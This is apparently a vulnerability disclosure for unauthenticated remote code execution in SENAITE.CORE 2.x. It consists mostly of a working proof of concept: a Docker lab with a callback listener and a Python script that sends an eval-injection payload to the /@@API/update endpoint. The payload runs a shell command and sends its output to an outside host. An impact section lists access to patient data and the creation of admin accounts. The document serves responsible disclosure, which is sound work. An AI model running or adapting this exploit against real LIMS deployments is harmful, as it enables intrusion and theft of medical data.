Details
`docker-compose.yml`
services:
senaite:
image: senaite/senaite:v2.6.0
ports:
- "8080:8080"
environment:
PASSWORD: senaitestrong # non-default; chain is credential-free
SITE: senaite
networks:
- poc
listener:
image: python:3.11-alpine
command:
- python
- -c
- |
import http.server, socketserver
log = []
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/log'):
self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
self.wfile.write(('\n'.join(log)).encode())
else:
log.append(self.path)
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def log_message(self, *a, **k): pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
ports:
- "8000:8000"
networks:
- poc
networks:
poc:
`poc.py`
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request
TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"
PAYLOAD = (
"__import__('urllib2').urlopen("
f"'{LISTENER_INSIDE}/?id=' + "
"__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
")"
)
def http_get(url, timeout=5):
req = urllib.request.Request(url, headers={"Accept": "*/*"})
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def http_post(url, fields, timeout=10):
body = urllib.parse.urlencode(fields).encode()
req = urllib.request.Request(url, data=body, method="POST")
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def wait_for_target():
deadline = time.time() + 600
while time.time() < deadline:
try:
with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
if r.status == 200: return
except Exception: pass
time.sleep(3)
sys.exit(1)
def discover_bika_setup_uid():
body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
return body
sys.exit(1)
def fire_payload(uid):
try:
http_post(f"{TARGET}/{SITE}/@@API/update",
{"obj_uid": uid, "RejectionReasons": PAYLOAD})
except urllib.error.HTTPError:
pass
def read_listener():
time.sleep(1)
try:
log = http_get(f"{LISTENER_HOST}/log", timeout=3)
except Exception:
return False
return "id=" in log
if __name__ == "__main__":
wait_for_target()
uid = discover_bika_setup_uid()
fire_payload(uid)
sys.exit(0 if read_listener() else 1)
Run
docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py
Expected output
[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_
The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.
Impact
Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).
Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.
Attacker capability after exploit:
- Arbitrary Python execution in the Zope worker process.
- Full read/write access to the ZODB (
Data.fsandblobstorage), so any patient/lab data the LIMS holds. - Filesystem access on the container's
/datavolume. - Outbound network egress from the worker.
- Direct access to
acl_users(the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed/manageZMI, this gives durable post-exploitation access.
Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).
Credits
Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.
- Dr. Simon Weber
- Dipl.-Inf. Volker Schönefeld
- Chiara Fliegner
Website: https://machinespirits.com